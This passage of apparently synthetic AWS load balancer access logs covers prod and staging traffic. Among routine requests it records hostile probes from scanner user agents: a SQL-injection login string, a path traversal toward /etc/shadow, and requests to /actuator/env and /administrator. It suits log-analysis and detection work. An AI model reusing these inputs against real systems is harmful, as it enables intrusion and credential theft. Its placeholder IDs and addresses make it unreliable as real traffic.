TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c605-967c3df867d64598b18fa1ee" "prod-web-alb.example.com" "-" 1 2024-11-01T01:01:41.524878Z "forward" "-" "-" "10.0.190.62:443" "200" "-" "-" +https 2024-11-01T01:01:42.937663Z prod-api-alb 193.27.228.121:41353 10.0.147.72:443 0.054522 0.116752 0.049487 500 500 684 8707 "POST /actuator/env HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c606-7f4fc021b02649208a33c988" "-" "-" 6 2024-11-01T01:01:42.937663Z "forward" "-" "-" "10.0.147.72:443" "500" "-" "-" +https 2024-11-01T01:01:43.175992Z staging-alb 232.249.155.36:34648 160.64.210.216:8080 0.022167 0.445260 0.044739 302 302 598 4822 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c607-b69356ef8bd44a4a91d7d06d" "staging-alb.example.com" "-" 6 2024-11-01T01:01:43.175992Z "forward" "-" "-" "160.64.210.216:8080" "302" "-" "-" +https 2024-11-01T01:01:44.953331Z prod-web-alb 37.96.192.81:42068 10.0.5.125:443 0.060492 0.261666 0.071505 301 301 819 2708 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c608-5bdf8c5504e945c0a9e56139" "prod-web-alb.example.com" "-" 1 2024-11-01T01:01:44.953331Z "forward" "-" "-" "10.0.5.125:443" "301" "-" "-" +https 2024-11-01T01:01:45.064474Z prod-web-alb 94.228.137.111:50144 10.0.70.197:443 0.071396 0.394847 0.020107 302 302 527 8432 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c609-1abe6bc53a7f48c490a2fa6c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:01:45.064474Z "forward" "-" "-" "10.0.70.197:443" "302" "-" "-" +https 2024-11-01T01:01:46.590943Z prod-api-alb 219.185.166.72:47529 10.0.170.136:443 0.068387 0.277818 0.050166 200 200 183 8829 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c60a-198d07fd2dc94b108a507187" "prod-api-alb.example.com" "-" 6 2024-11-01T01:01:46.590943Z "forward" "-" "-" "10.0.170.136:443" "200" "-" "-" +http 2024-11-01T01:01:46.736448Z staging-alb 139.209.24.214:48636 45.246.112.93:443 0.120693 0.285674 0.066837 404 404 264 8106 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c60a-daa0c3bd2e414ac7a665edf1" "staging-alb.example.com" "-" 8 2024-11-01T01:01:46.736448Z "forward" "-" "-" "45.246.112.93:443" "404" "-" "-" +http 2024-11-01T01:01:47.360326Z staging-alb 185.181.39.39:36627 39.94.150.11:80 0.049594 0.690381 0.114079 403 403 164 9299 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c60b-89333a16fecb469e983714f9" "-" "-" 9 2024-11-01T01:01:47.360326Z "forward" "-" "-" "39.94.150.11:80" "403" "-" "-" +https 2024-11-01T01:01:47.679037Z prod-api-alb 149.171.149.13:47711 10.0.216.146:443 0.085881 0.437536 0.035722 200 200 327 3475 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c60b-52c9a42e407a4b7981a7375e" "prod-api-alb.example.com" "-" 10 2024-11-01T01:01:47.679037Z "forward" "-" "-" "10.0.216.146:443" "200" "-" "-" +https 2024-11-01T01:01:49.447619Z prod-web-alb 45.155.205.47:59736 10.0.212.129:443 0.094790 0.431625 0.078345 302 302 756 685 "POST /administrator HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c60d-f49fa343cd154bc49d2d3215" "-" "-" 5 2024-11-01T01:01:49.447619Z "forward" "-" "-" "10.0.212.129:443" "302" "-" "-" +https 2024-11-01T01:01:50.945701Z prod-api-alb 18.49.228.127:56731 10.0.77.108:443 0.020810 0.227389 0.082079 200 200 694 7881 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c60e-6e6192ff56a440d0b5a508e8" "prod-api-alb.example.com" "-" 5 2024-11-01T01:01:50.945701Z "forward" "-" "-" "10.0.77.108:443" "200" "-" "-" +http 2024-11-01T01:01:52.133621Z staging-alb 83.248.10.37:61345 149.59.107.38:443 0.043607 0.027407 0.054307 200 200 676 8672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c610-a42bd6871ff64854babb6cdd" "staging-alb.example.com" "-" 1 2024-11-01T01:01:52.133621Z "forward" "-" "-" "149.59.107.38:443" "200" "-" "-" +https 2024-11-01T01:01:53.941892Z prod-api-alb 202.144.199.124:31383 10.0.12.45:443 0.037657 0.190021 0.087439 200 200 338 9163 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c611-e0be653d2c9c439288915c7c" "-" "-" 4 2024-11-01T01:01:53.941892Z "forward" "-" "-" "10.0.12.45:443" "200" "-" "-" +https 2024-11-01T01:01:54.589031Z staging-alb 154.119.56.16:36946 115.55.226.181:443 0.010322 0.590586 0.015377 200 200 230 465 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c612-43bfed60f0f746bc88ee533b" "staging-alb.example.com" "-" 2 2024-11-01T01:01:54.589031Z "forward" "-" "-" "115.55.226.181:443" "200" "-" "-" +https 2024-11-01T01:01:56.030660Z prod-api-alb 188.241.189.55:43627 10.0.171.20:443 0.029794 0.264431 0.052133 302 302 39 3857 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c614-1093275587604abb9cb04121" "prod-api-alb.example.com" "-" 7 2024-11-01T01:01:56.030660Z "forward" "-" "-" "10.0.171.20:443" "302" "-" "-" +https 2024-11-01T01:01:57.896555Z prod-web-alb 128.79.197.133:14284 10.0.69.138:443 0.083424 0.206991 0.037935 200 200 979 5682 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c615-50455a5397dd4f39a89648b6" "-" "-" 0 2024-11-01T01:01:57.896555Z "forward" "-" "-" "10.0.69.138:443" "200" "-" "-" +https 2024-11-01T01:01:58.244289Z staging-alb 196.158.139.145:61458 231.227.129.0:80 0.004132 0.501864 0.057633 302 302 404 1326 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c616-7cdcaf14313a46cc923e1f76" "staging-alb.example.com" "-" 6 2024-11-01T01:01:58.244289Z "forward" "-" "-" "231.227.129.0:80" "302" "-" "-" +https 2024-11-01T01:01:59.372169Z prod-api-alb 178.36.115.52:64453 10.0.51.69:443 0.002255 0.263947 0.097254 302 302 702 9397 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c617-7700f8f8ea3d4987891c02ea" "prod-api-alb.example.com" "-" 6 2024-11-01T01:01:59.372169Z "forward" "-" "-" "10.0.51.69:443" "302" "-" "-" +https 2024-11-01T01:02:00.869515Z prod-api-alb 68.131.183.179:23856 10.0.59.83:443 0.026528 0.247533 0.093236 302 302 636 8541 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c618-dfc42f36b9444185971659d3" "prod-api-alb.example.com" "-" 4 2024-11-01T01:02:00.869515Z "forward" "-" "-" "10.0.59.83:443" "302" "-" "-" +https 2024-11-01T01:02:02.090868Z prod-api-alb 35.15.120.55:27545 10.0.33.187:443 0.039518 0.206757 0.074265 404 404 163 6784 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c61a-c7e2bb05d5d544b5b7f63b3c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:02:02.090868Z "forward" "-" "-" "10.0.33.187:443" "404" "-" "-" +https 2024-11-01T01:02:03.827949Z staging-alb 149.89.148.76:17638 179.173.67.28:8080 0.035340 0.656486 0.103507 200 200 162 7893 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c61b-2aa972bba6394bef82db447a" "staging-alb.example.com" "-" 2 2024-11-01T01:02:03.827949Z "forward" "-" "-" "179.173.67.28:8080" "200" "-" "-" +http 2024-11-01T01:02:04.366377Z staging-alb 180.58.63.208:37426 249.199.92.19:80 0.121486 0.491934 0.015992 302 302 467 7067 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c61c-1d3f42e4dfac459c9d51a1ec" "staging-alb.example.com" "-" 3 2024-11-01T01:02:04.366377Z "forward" "-" "-" "249.199.92.19:80" "302" "-" "-" +https 2024-11-01T01:02:04.730095Z staging-alb 175.182.8.87:29293 113.210.113.4:8080 0.149828 0.456271 0.132964 200 200 143 13559 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c61c-9386c36745eb45a8a3dfdbdc" "staging-alb.example.com" "-" 9 2024-11-01T01:02:04.730095Z "forward" "-" "-" "113.210.113.4:8080" "200" "-" "-" +https 2024-11-01T01:02:05.465396Z prod-web-alb 39.253.110.178:53596 10.0.81.86:443 0.015055 0.145925 0.095091 404 404 813 14810 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c61d-75b0eb307f1b4d679bb4ed53" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:05.465396Z "forward" "-" "-" "10.0.81.86:443" "404" "-" "-" +https 2024-11-01T01:02:05.579286Z prod-api-alb 0.119.228.219:63142 10.0.244.95:443 0.021202 0.003281 0.088137 200 200 894 10017 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c61d-c102ac130ae24b5da0177e24" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:05.579286Z "forward" "-" "-" "10.0.244.95:443" "200" "-" "-" +https 2024-11-01T01:02:06.947658Z prod-web-alb 99.163.56.50:11944 10.0.131.74:443 0.071330 0.437458 0.067620 200 200 427 3773 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c61e-4e2c8016fa424a14bdf17efb" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:06.947658Z "forward" "-" "-" "10.0.131.74:443" "200" "-" "-" +https 2024-11-01T01:02:08.824308Z staging-alb 45.155.205.144:62746 92.155.104.120:443 0.105642 0.575187 0.043056 404 404 937 14338 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c620-e7de70adbc1041fba93bdbcc" "-" "-" 7 2024-11-01T01:02:08.824308Z "forward" "-" "-" "92.155.104.120:443" "404" "-" "-" +https 2024-11-01T01:02:09.354177Z prod-api-alb 67.128.104.104:54174 10.0.66.138:443 0.069815 0.271023 0.004051 301 301 940 3969 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c621-4887643a976d4ab3b46126c1" "prod-api-alb.example.com" "-" 5 2024-11-01T01:02:09.354177Z "forward" "-" "-" "10.0.66.138:443" "301" "-" "-" +https 2024-11-01T01:02:10.054543Z prod-api-alb 207.204.45.72:62441 10.0.111.19:443 0.097754 0.097742 0.063543 301 301 29 1763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c622-5d3f4dc75ed7483480200627" "prod-api-alb.example.com" "-" 8 2024-11-01T01:02:10.054543Z "forward" "-" "-" "10.0.111.19:443" "301" "-" "-" +https 2024-11-01T01:02:11.521671Z prod-api-alb 5.174.97.52:40022 10.0.221.174:443 0.085362 0.396595 0.000785 302 302 637 946 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c623-66dd68dd516f470fab6f2b90" "prod-api-alb.example.com" "-" 0 2024-11-01T01:02:11.521671Z "forward" "-" "-" "10.0.221.174:443" "302" "-" "-" +https 2024-11-01T01:02:12.570597Z prod-web-alb 121.106.195.188:57512 10.0.213.60:443 0.073442 0.265079 0.023673 302 302 1 4347 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c624-3480a7581d5f4eb5bd1d8d51" "prod-web-alb.example.com" "-" 7 2024-11-01T01:02:12.570597Z "forward" "-" "-" "10.0.213.60:443" "302" "-" "-" +https 2024-11-01T01:02:13.842338Z prod-api-alb 183.93.17.103:15879 10.0.52.125:443 0.008013 0.148296 0.000167 404 404 355 598 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c625-1b5a6a9cd0ed487f8748a176" "prod-api-alb.example.com" "-" 7 2024-11-01T01:02:13.842338Z "forward" "-" "-" "10.0.52.125:443" "404" "-" "-" +https 2024-11-01T01:02:15.394097Z prod-api-alb 170.78.233.152:18172 10.0.220.114:443 0.017008 0.198539 0.026106 200 200 97 14170 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c627-da99786326e04f7280dc3c3a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:02:15.394097Z "forward" "-" "-" "10.0.220.114:443" "200" "-" "-" +https 2024-11-01T01:02:17.192177Z prod-api-alb 69.241.3.36:25641 10.0.187.177:443 0.030879 0.114445 0.003595 301 301 493 9257 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c629-97383671cfe1415e8e8baf36" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:17.192177Z "forward" "-" "-" "10.0.187.177:443" "301" "-" "-" +https 2024-11-01T01:02:18.962070Z staging-alb 109.49.218.95:14285 185.193.126.129:443 0.021789 0.169419 0.106220 404 404 638 10317 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c62a-a3f915fbe9d541b3bbe4b88d" "staging-alb.example.com" "-" 4 2024-11-01T01:02:18.962070Z "forward" "-" "-" "185.193.126.129:443" "404" "-" "-" +https 2024-11-01T01:02:19.895767Z staging-alb 151.99.23.83:58311 39.21.175.38:80 0.010429 0.206060 0.054973 200 200 277 3854 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c62b-4b6d58977252405d889914af" "staging-alb.example.com" "-" 3 2024-11-01T01:02:19.895767Z "forward" "-" "-" "39.21.175.38:80" "200" "-" "-" +https 2024-11-01T01:02:20.075895Z prod-web-alb 105.136.138.198:41866 10.0.123.157:443 0.022234 0.340335 0.037896 302 302 485 9598 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c62c-c87afb065e9746248feda9a0" "prod-web-alb.example.com" "-" 2 2024-11-01T01:02:20.075895Z "forward" "-" "-" "10.0.123.157:443" "302" "-" "-" +https 2024-11-01T01:02:20.314991Z prod-api-alb 211.91.232.117:45668 10.0.107.241:443 0.008189 0.146382 0.077798 301 301 187 9200 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c62c-7623cddf23f345c7aa6d7044" "prod-api-alb.example.com" "-" 10 2024-11-01T01:02:20.314991Z "forward" "-" "-" "10.0.107.241:443" "301" "-" "-" +https 2024-11-01T01:02:21.520385Z staging-alb 151.37.24.154:52099 4.2.48.246:80 0.092098 0.147716 0.129728 302 302 763 8389 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c62d-f6f5f7aac7df4a1a9056cbdf" "staging-alb.example.com" "-" 10 2024-11-01T01:02:21.520385Z "forward" "-" "-" "4.2.48.246:80" "302" "-" "-" +https 2024-11-01T01:02:23.016184Z prod-web-alb 34.235.204.188:59726 10.0.163.122:443 0.070471 0.104650 0.077330 200 200 101 384 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c62f-f71058a2ff6b4d2887661a17" "prod-web-alb.example.com" "-" 3 2024-11-01T01:02:23.016184Z "forward" "-" "-" "10.0.163.122:443" "200" "-" "-" +https 2024-11-01T01:02:24.037160Z prod-web-alb 158.21.55.73:29273 10.0.142.254:443 0.055338 0.323735 0.047844 200 200 783 3891 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c630-e3fc2c80fa714d4d948ca6ab" "prod-web-alb.example.com" "-" 2 2024-11-01T01:02:24.037160Z "forward" "-" "-" "10.0.142.254:443" "200" "-" "-" +https 2024-11-01T01:02:25.680158Z prod-api-alb 90.231.218.177:25103 10.0.38.49:443 0.065134 0.061576 0.056330 200 200 424 11944 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c631-42ff73450275400d924a8fca" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:25.680158Z "forward" "-" "-" "10.0.38.49:443" "200" "-" "-" +https 2024-11-01T01:02:27.522310Z prod-web-alb 27.101.1.145:27614 10.0.141.26:443 0.098114 0.259782 0.006354 301 301 946 2206 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c633-86498bb790aa445ab6627b5c" "prod-web-alb.example.com" "-" 9 2024-11-01T01:02:27.522310Z "forward" "-" "-" "10.0.141.26:443" "301" "-" "-" +https 2024-11-01T01:02:28.567359Z prod-api-alb 213.46.150.171:33006 10.0.72.17:443 0.094230 0.196510 0.099853 200 200 812 5869 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c634-5663b61a61704d49b588ce3a" "prod-api-alb.example.com" "-" 5 2024-11-01T01:02:28.567359Z "forward" "-" "-" "10.0.72.17:443" "200" "-" "-" +https 2024-11-01T01:02:29.268178Z prod-api-alb 33.117.6.182:24395 10.0.243.106:443 0.053179 0.112155 0.022950 200 200 744 2851 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c635-0f24c5f01f1f481896babf80" "prod-api-alb.example.com" "-" 1 2024-11-01T01:02:29.268178Z "forward" "-" "-" "10.0.243.106:443" "200" "-" "-" +https 2024-11-01T01:02:30.691549Z staging-alb 173.94.146.250:62580 172.72.233.237:8080 0.127856 0.653430 0.106841 302 302 97 6556 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c636-1269b452adce4bd5b3c9471a" "staging-alb.example.com" "-" 6 2024-11-01T01:02:30.691549Z "forward" "-" "-" "172.72.233.237:8080" "302" "-" "-" +http 2024-11-01T01:02:31.708976Z staging-alb 66.132.196.25:32325 172.89.10.238:443 0.077137 0.470806 0.133670 200 200 951 3838 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c637-007ae8bd1b9e4dfab6288ed2" "staging-alb.example.com" "-" 7 2024-11-01T01:02:31.708976Z "forward" "-" "-" "172.89.10.238:443" "200" "-" "-" +http 2024-11-01T01:02:31.844124Z staging-alb 7.142.2.51:55037 107.241.255.94:80 0.091128 0.141415 0.127500 200 200 546 11487 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c637-9437847c5a1845b7b47c0f0e" "staging-alb.example.com" "-" 7 2024-11-01T01:02:31.844124Z "forward" "-" "-" "107.241.255.94:80" "200" "-" "-" +https 2024-11-01T01:02:32.994735Z prod-web-alb 150.107.137.126:24606 10.0.153.47:443 0.076248 0.407137 0.021793 200 200 641 6189 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c638-41dbee9bbe1b4762aea6265f" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:32.994735Z "forward" "-" "-" "10.0.153.47:443" "200" "-" "-" +https 2024-11-01T01:02:34.849058Z 